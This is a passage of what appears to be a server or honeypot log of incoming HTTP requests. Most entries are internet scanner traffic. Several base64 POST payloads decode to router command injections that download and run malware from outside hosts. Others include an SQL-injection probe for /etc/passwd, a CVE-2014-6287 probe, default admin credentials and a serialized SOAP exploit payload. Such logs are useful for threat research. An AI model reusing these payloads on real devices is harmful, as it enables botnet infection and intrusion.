AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/sitemap.xml", "Http_Version": "HTTP/1.1"} -{"ip": "128.14.239.39", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Authorization": "NTLM TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA=", "Connection": "keep-alive", "Host": "116.202.22.148:8080", "User_Agent": "python-requests/2.27.1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.94.146.57", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.94.146.57", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.94.146.57", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "185.36.81.33", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "141.98.11.52", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.79.221.160", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "Mozilla/5.0", "Method": "GET", "Path": "/2kTk", "Http_Version": "HTTP/1.1"} -{"ip": "45.79.221.160", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "Mozilla/5.0", "Method": "GET", "Path": "/7mXa", "Http_Version": "HTTP/1.1"} -{"ip": "95.214.55.115", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded", "Host": "127.0.0.1:8088", "Origin": "http://127.0.0.1:8088", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "95.214.55.115", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept_Encoding": "gzip", "Authorization": "Basic YWRtaW46YWRtaW4=", "Content_Length": "373", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:8080", "Origin": "http://127.0.0.1:8088", "Referer": "http://116.202.22.148:8080/apply.cgi", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Sec-Gpc": "1", "Method": "POST", "Path": "/apply.cgi", "Http_Version": "HTTP/1.1", "POST_Payload": "YWN0aW9uPUFwcGx5VGFrZSZjaGFuZ2VfYWN0aW9uPWdvemlsYV9jZ2kmZGVsX3ZhbHVlPSZob3N0PWh0dHAlM0ElMkYlMkYxMjcuMC4wLjElM0E4MDg4Jm5leHRfcGFnZT1EaWFnbm9zdGljcy5hc3AmcGluZ19pcD1jZCslMkZ0bXAlM0J3Z2V0K2h0dHAlM0ElMkYlMkY0NS44OC45MC4xMTMlMkZzZHhrelhfVVhBMjI5eC5tcHNsKy1PK21mdSUzQmNobW9kKzc3NyttZnUlM0IuJTJGbWZ1K2ZhaXRoJTNCK3JtKy1yZittZnUlM0Ird2dldCtodHRwJTNBJTJGJTJGNDUuODguOTAuMTEzJTJGc2R4a3pYX1VYQTIyOXgubXBzbCstTyttZnUlM0JjaG1vZCs3NzcrbWZ1JTNCLiUyRm1mdSttZW93JTNCJnN1Ym1pdF9idXR0b249UGluZyZzdWJtaXRfdHlwZT1zdGFydA=="} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "159.223.98.198", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "138.68.64.14", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "59.178.10.79", "Content_Length": "0", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.190", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "113.219.218.197", "Accept": "*/*", "Accept_Encoding": "gzip", "Accept_Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "69.164.217.74", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "172.104.11.51", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "45.81.39.51", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.247.224.183", "Accept": "*/*", "User_Agent": "masscan/1.3 (https://github.com/robertdavidgraham/masscan)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "95.38.197.68", "Content_Length": "0", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.125", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.36.81.33", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "35.203.211.240", "Host": "116.202.22.148:80", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.36.81.33", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "141.98.11.52", "Host": "116.202.22.148:8080", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.79", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "107.170.255.4", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/manager/html", "Http_Version": "HTTP/1.1"} -{"ip": "209.141.33.40", "Accept": "*/*", "Accept_Encoding": "gzip", "Accept_Language": "en", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36", "Method": "GET", "Path": "/web_shell_cmd.gch", "Http_Version": "HTTP/1.1"} -{"ip": "209.141.33.40", "Host": "[::1]' UNION SELECT '/", "Method": "GET", "Path": "/etc/passwd", "Http_Version": "HTTP/1.1"} -{"ip": "192.241.235.30", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/actuator/health", "Http_Version": "HTTP/1.1"} -{"ip": "46.174.191.32", "Accept": "*/*", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "5.32.176.129", "Content_Length": "0", "Host": "116.202.22.148:80", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "103.237.87.198", "Host": "www.google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "www.google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "15.237.60.130", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Linux; Android 8.0.0; SM-G930V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "185.114.175.11", "Accept": "*/*", "User_Agent": "Mozilla/5.0 (compatible; EdgeWatch/1.1; https://about.edgewatch.com/)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "193.35.18.33", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.91.127.166", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.91.127.166", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "196", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:80", "User_Agent": "Mozila/5.0", "Method": "POST", "Path": "/web_shell_cmd.gch", "Http_Version": "HTTP/1.1", "POST_Payload": "SUZfQUNUSU9OPWFwcGx5JklGX0VSUk9SU1RSPVNVQ0MmSUZfRVJST1JQQVJBTT1TVUNDJklGX0VSUk9SVFlQRT0tMSZDbWQ9Y2QrJTJGdG1wJTNCd2dldCtodHRwJTNBJTJGJTJGaW50ZXJwb2wud3MlMkZmdWV6JTJGcG90YXIuc2glM0JjaG1vZCs3NzcrcG90YXIuc2glM0JzaCtwb3Rhci5zaCt6dGUlM0JybSstcmYrcG90YXIuc2gmQ21kQWNrPQ0KDQo="} -{"ip": "209.141.33.40", "Accept_Encoding": "gzip", "Connection": "close", "Content_Length": "45", "Host": "116.202.22.148", "Origin": "http://116.202.22.148", "Referer": "http://116.202.22.148/webadmin/start/", "User_Agent": "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36", "Method": "POST", "Path": "/webadmin/auth/verification.php", "Http_Version": "HTTP/1.1", "POST_Payload": "bG9naW49YnJhbmRpbmcmcGFzc3dvcmQ9YnJhbmRpbmcmU3VibWl0PUxvZ2lu"} -{"ip": "209.141.33.40", "Accept": "*/*", "Accept_Encoding": "gzip", "Accept_Language": "en", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36", "Method": "GET", "Path": "/webadmin/clientlogin/?srid&action=showdeny&url", "Http_Version": "HTTP/1.1"} -{"ip": "209.141.33.40", "Accept": "*/*", "Accept_Encoding": "gzip", "Accept_Language": "en", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36", "Method": "GET", "Path": "/?search==%00{.cookie|Moey9x|value%3dCVE-2014-6287.}", "Http_Version": "HTTP/1.1"} -{"ip": "209.141.33.40", "Accept": "*/*", "Accept_Encoding": "gzip", "Accept_Language": "en", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36", "Method": "GET", "Path": "/wlsecurity.html", "Http_Version": "HTTP/1.1"} -{"ip": "209.141.33.40", "Accept_Encoding": "gzip", "Connection": "close", "Content_Length": "7378", "Content_Type": "text/xml; charset=utf-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", "SOAPAction": "\"urn:AdminService\"", "Method": "POST", "Path": "/", "Http_Version": "HTTP/1.1", "POST_Payload": "PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz4NCjxTT0FQLUVOVjpFbnZlbG9wZSB4bWxuczpTT0FQLUVOVj0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvc29hcC9lbnZlbG9wZS8iIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiPg0KPFNPQVAtRU5WOkhlYWRlciBuczA6Sk1YQ29ubmVjdG9yQ29udGV4dD0ick8wQUJYTnlBQTlxWVhaaExuVjBhV3d1VTNSaFkyc1EvaXJDdXdtR0hRSUFBSGh5QUJCcVlYWmhMblYwYVd3dVZtVmpkRzl5MlpkOVc0QTdyd0VEQUFOSkFCRmpZWEJoWTJsMGVVbHVZM0psYldWdWRFa0FER1ZzWlcxbGJuUkRiM1Z1ZEZzQUMyVnNaVzFsYm5SRVlYUmhkQUFUVzB4cVlYWmhMMnhoYm1jdlQySnFaV04wTzNod0FBQUFBQUFBQUFGMWNnQVRXMHhxWVhaaExteGhibWN1VDJKcVpXTjBPNURPV0o4UWN5bHNBZ0FBZUhBQUFBQUtjM0lBT21OdmJTNXBZbTB1ZDNNdWJXRnVZV2RsYldWdWRDNWpiMjV1WldOMGIzSXVTazFZUTI5dWJtVmpkRzl5UTI5dWRHVjRkRVZzWlcxbGJuVGJsUk15WXlGOHNRSUFCVXdBQ0dObGJHeE9ZVzFsZEFBU1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN1RBQUlhRzl6ZEU1aGJXVnhBSDRBQjB3QUNHNXZaR1ZPWVcxbGNRQitBQWRNQUFwelpYSjJaWEpPWVcxbGNRQitBQWRiQUFwemRHRmphMVJ5WVdObGRBQWVXMHhxWVhaaEwyeGhibWN2VTNSaFkydFVjbUZqWlVWc1pXMWxiblE3ZUhCMEFBQjBBQWhNWVhBek9UQXhNM0VBZmdBS2NRQitBQXAxY2dBZVcweHFZWFpoTG14aGJtY3VVM1JoWTJ0VWNtRmpaVVZzWlcxbGJuUTdBa1lxUER6OUlqa0NBQUI0Y0FBQUFDcHpjZ0FiYW1GMllTNXNZVzVuTGxOMFlXTnJWSEpoWTJWRmJHVnRaVzUwWVFuRm1pWTIzWVVDQUFSSkFBcHNhVzVsVG5WdFltVnlUQUFPWkdWamJHRnlhVzVuUTJ4aGMzTnhBSDRBQjB3QUNHWnBiR1ZPWVcxbGNRQitBQWRNQUFwdFpYUm9iMlJPWVcxbGNRQitBQWQ0Y0FBQUFFdDBBRHBqYjIwdWFXSnRMbmR6TG0xaGJtRm5aVzFsYm5RdVkyOXVibVZqZEc5eUxrcE5XRU52Ym01bFkzUnZja052Ym5SbGVIUkZiR1Z0Wlc1MGRBQWZTazFZUTI5dWJtVmpkRzl5UTI5dWRHVjRkRVZzWlcxbGJuUXVhbUYyWVhRQUJqeHBibWwwUG5OeEFINEFEZ0FBQUR4MEFETmpiMjB1YVdKdExuZHpMbTFoYm1GblpXMWxiblF1WTI5dWJtVmpkRzl5TGtwTldFTnZibTVsWTNSdmNrTnZiblJsZUhSMEFCaEtUVmhEYjI1dVpXTjBiM0pEYjI1MFpYaDBMbXBoZG1GMEFBUndkWE5vYzNFQWZnQU9BQUFHUTNRQU9HTnZiUzVwWW0wdWQzTXViV0Z1WVdkbGJXVnVkQzVqYjI1dVpXTjBiM0l1YzI5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHlTVzF3YkM1cVlYWmhkQUFHYVc1MmIydGxjM0VBZmdBT0FBQUNZM1FBR0dwaGRtRXViR0Z1Wnk1eVpXWnNaV04wTGsxbGRHaHZaSFFBQzAxbGRHaHZaQzVxWVhaaGRBQUdhVzUyYjJ0bGMzRUFmZ0FPQUFBQ1MzUUFORzl5Wnk1bFkyeHBjSE5sTG1WeGRXbHViM2d1YVc1MFpYSnVZV3d1WVhCd0xrVmpiR2x3YzJWQmNIQkRiMjUwWVdsdVpYSjBBQmhGWTJ4cGNITmxRWEJ3UTI5dWRHRnBibVZ5TG1waGRtRjBBQmRqWVd4c1RXVjBhRzlrVjJsMGFFVjRZMlZ3ZEdsdmJuTnhBSDRBRGdBQUFNWjBBREZ2Y21jdVpXTnNhWEJ6WlM1bGNYVnBibTk0TG1sdWRHVnlibUZzTG1Gd2NDNUZZMnhwY0hObFFYQndTR0Z1Wkd4bGRBQVZSV05zYVhCelpVRndjRWhoYm1Sc1pTNXFZWFpoZEFBRGNuVnVjM0VBZmdBT0FBQUFiblFBUEc5eVp5NWxZMnhwY0hObExtTnZjbVV1Y25WdWRHbHRaUzVwYm5SbGNtNWhiQzVoWkdGd2RHOXlMa1ZqYkdsd2MyVkJjSEJNWVhWdVkyaGxjblFBRjBWamJHbHdjMlZCY0hCTVlYVnVZMmhsY2k1cVlYWmhkQUFPY25WdVFYQndiR2xqWVhScGIyNXpjUUIrQUE0QUFBQlBkQUE4YjNKbkxtVmpiR2x3YzJVdVkyOXlaUzV5ZFc1MGFXMWxMbWx1ZEdWeWJtRnNMbUZrWVhCMGIzSXVSV05zYVhCelpVRndjRXhoZFc1amFHVnlkQUFYUldOc2FYQnpaVUZ3Y0V4aGRXNWphR1Z5TG1waGRtRjBBQVZ6ZEdGeWRITnhBSDRBRGdBQUFYRjBBQzl2Y21jdVpXTnNhWEJ6WlM1amIzSmxMbkoxYm5ScGJXVXVZV1JoY0hSdmNpNUZZMnhwY0hObFUzUmhjblJsY25RQUUwVmpiR2x3YzJWVGRHRnlkR1Z5TG1waGRtRjBBQU55ZFc1emNRQitBQTRBQUFDemRBQXZiM0puTG1WamJHbHdjMlV1WTI5eVpTNXlkVzUwYVcxbExtRmtZWEIwYjNJdVJXTnNhWEJ6WlZOMFlYSjBaWEowQUJORlkyeHBjSE5sVTNSaGNuUmxjaTVxWVhaaGRBQURjblZ1YzNFQWZnQU8vLy8vL25RQUpITjFiaTV5Wldac1pXTjBMazVoZEdsMlpVMWxkR2h2WkVGalkyVnpjMjl5U1cxd2JIUUFIVTVoZEdsMlpVMWxkR2h2WkVGalkyVnpjMjl5U1cxd2JDNXFZWFpoZEFBSGFXNTJiMnRsTUhOeEFINEFEZ0FBQUR4MEFDUnpkVzR1Y21WbWJHVmpkQzVPWVhScGRtVk5aWFJvYjJSQlkyTmxjM052Y2tsdGNHeDBBQjFPWVhScGRtVk5aWFJvYjJSQlkyTmxjM052Y2tsdGNHd3VhbUYyWVhRQUJtbHVkbTlyWlhOeEFINEFEZ0FBQUNWMEFDaHpkVzR1Y21WbWJHVmpkQzVFWld4bFoyRjBhV